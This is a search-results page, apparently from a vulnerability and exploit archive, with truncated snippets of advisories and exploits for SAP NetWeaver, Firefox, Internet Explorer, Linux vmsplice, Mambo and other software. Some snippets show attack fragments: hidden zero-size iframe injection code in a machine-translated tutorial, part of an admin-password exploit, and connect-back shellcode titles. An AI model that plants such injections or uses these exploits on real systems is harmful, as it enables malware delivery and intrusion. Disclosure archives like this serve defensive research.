222 matches found
SAP NetWeaver - Authentication bypass (Verb Tampering)
Application: SAP NetWeaver Versions Affected: SAP NetWeaver Vendor URL: http://www.sap.com Bugs:Auth bypass, Verb tampering Exploits: YES Reported: 14.03.2011 Vendor response:15.03.2011 Date of Public Advisory:11.11.2011 CVSS: 10 by ERPSCAN 7.3 by SAP Author:Alexandr Polyakov Description...
CVE-2011-0064
The hbbufferensure function in hb-buffer.c in HarfBuzz, as used in Pango 1.28.3, Firefox, and other products, does not verify that memory reallocations succeed, which allows remote attackers to cause a denial of service NULL pointer dereference and application crash or possibly execute arbitrary...
It's Time to Move Away From the Build or Break Mentality
SAN FRANCISCO–The vulnerability disclosure and patching arms race that has developed in the last decade or so in the security industry has made life extremely difficult not just for the developers writing code, but also for the folks who are interested in helping to fix broken applications. A new...
SAP NetWaver Virus Scan Interface - multiple XSS
Application: SAP NetWeaver Versions Affected: SAP NetWeaver Vendor URL: http://www.sap.com Bugs:Linked XSS Vulnerability Exploits: YES Reported: 01.04.2010 Vendor response:08.04.2010 Date of Public Advisory:11.11.2011 CVSS:4.3 Author: Dmitriy Evdokimov Description SAP Netweaver Virus Scan Interfa...
Mozilla Firefox 3.5 'TraceMonkey' Component Remote Code Execution Vulnerability
Description Mozilla Firefox is prone to a remote code-execution vulnerability. Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed attempts will likely result in denial-of-service conditions. The issue affects...
Nwahy Dir 2.1 Arbitrary Change Admin Password Exploit
No description provided by source. ? / Nwahy Dir v2.1 Change Admin Password Exploit - Author : rEcruit - Mail : [email protected] - Download : http://nwahy.com/showdownload-3105.html - Vuln in ./admincp/admininfo.php code $u = addslashes$COOKIE'username'; $query = mysqlquery "SELECT FROM dliladmi...
Ray air video and cloud networks interactive all php version system 0day-vulnerability warning-the black bar safety net
Long time no write something, and yesterday a friend let me find the sets of television systems php version, said to a television station, he by the way also sent a set, called the ray of the wind movie, the rough looked under the code, write the Also and secure means, but the thousand Secret a...
Microsoft Internet Explorer HTML Objects Variant Memory Corruption Vulnerability
Description Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability that occurs when the application tries to parse a specially crafted web page. Successfully exploiting this issue would allow the attacker to execute arbitrary code in the context of the currently logged-i...
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)
/ jessicabielnakedinmybed.c Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura. Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca. Stejnak je to stare jak cyp a aj jakesyk rozbite. Linux vmsplice Local Root Exploit By qaaz Linux 2.6.17 - 2.6.24.1 This is quite old code and I had to...
Hung it to the code Daquan-vulnerability warning-the black bar safety net
Hung it to the code book A:The frame hanging horse iframe src=address width=0 height=0/iframe II:the js file hanging horse First, the following code document. write"iframe width='0' height='0' src='address'/iframe"; 保存 为 xxx.js that The JS hung it to the code script language=javascript src=xxx...
Microsoft Windows Malformed RTF Handling Code Execution (MS07-011; CVE-2006-1311; CVE-2007-0025; CVE-2007-0026)
Rich Text Format RTF provides a format for text and graphics interchange that can be used with different operating systems. OLE is the technology that applications use to create and edit compound documents. By using OLE technology, an application can provide embedding and linking support. By...
perForms Mambo Component <= 1.0 Remote File Inclusion
No description provided by source. ------------------------------------------------------------------------ --- perForms = 1.0 mosConfigabsolutepath Remote File Inclusion ------------------------------------------------------------------------ --- Remote : Yes Critical Level : High Vuln founded i...
Microsoft HTML Help Workshop - .hhp Local Buffer Overflow (3)
Microsoft HTML Help Workshop - .hhp Local Buffer Overflow 3 / \ Windows HTML Help Workshop Index File Stack Overflow Exploit / by Darkeagle \ / http://eagle.blacksecurity.org \ / MS coders codes so secure code. Keep coding : \ / Original Advisory:...
DSA-911-1 gtk+2.0 - several
Bulletin has no description...
linux/SPARC connect back 216 bytes
Exploit for linux/sparc platform in category shellcode ================================== linux/SPARC connect back 216 bytes ================================== / linux sparc connect back shellcode, because someone had to evade those firewalls. sigh / / OS : Linux Architecture : Sparc Type : Conne...
ADVISORY: ASPDOTNETSTOREFRONT Improper Upload Validation
ASPDOTNETSTOREFRONT Improper Upload Validation Release Date: June 9, 2004 Severity: HIGH Vendor: AspDotNetStorefront.com A Division of Discovery Productions, Inc. Software: Tested on AspDotNetStorefront 3.3 Previous versions may also be affected. Remote: Remotely executed from any web browser...
DoS in Rsniff 1.0
Luigi Auriemma Application: RSniff Remote Sniff http://www.cse.sc.edu/madamanc/projects.html Versions: 1.0 Platforms: Linux Bug: Denial of Service Risk: low Exploitation: remote Date: 09 Apr 2004 Author: Luigi Auriemma e-mail: [email protected] web: http://aluigi.altervista.org 1 Introduction...
Uncommented shell characters in multiple IRC bots
No description provided...
Дырка в Prospero 1.3.5 CGI
Многочисленные локальные дырки, недостаточно длинные пин-коды и т.д...
Check Point Software Firewall-1 3.0/1 4.0/1 4.1 - Session Agent Dictionary Attack (1)
source: https://www.securityfocus.com/bid/1662/info A vulnerability exists in all versions of the Check Point Session Agent, part of Firewall-1. Session Agent works in such a way that the firewall will establish a connection back to the client machine. Upon doing so, it will prompt for a username...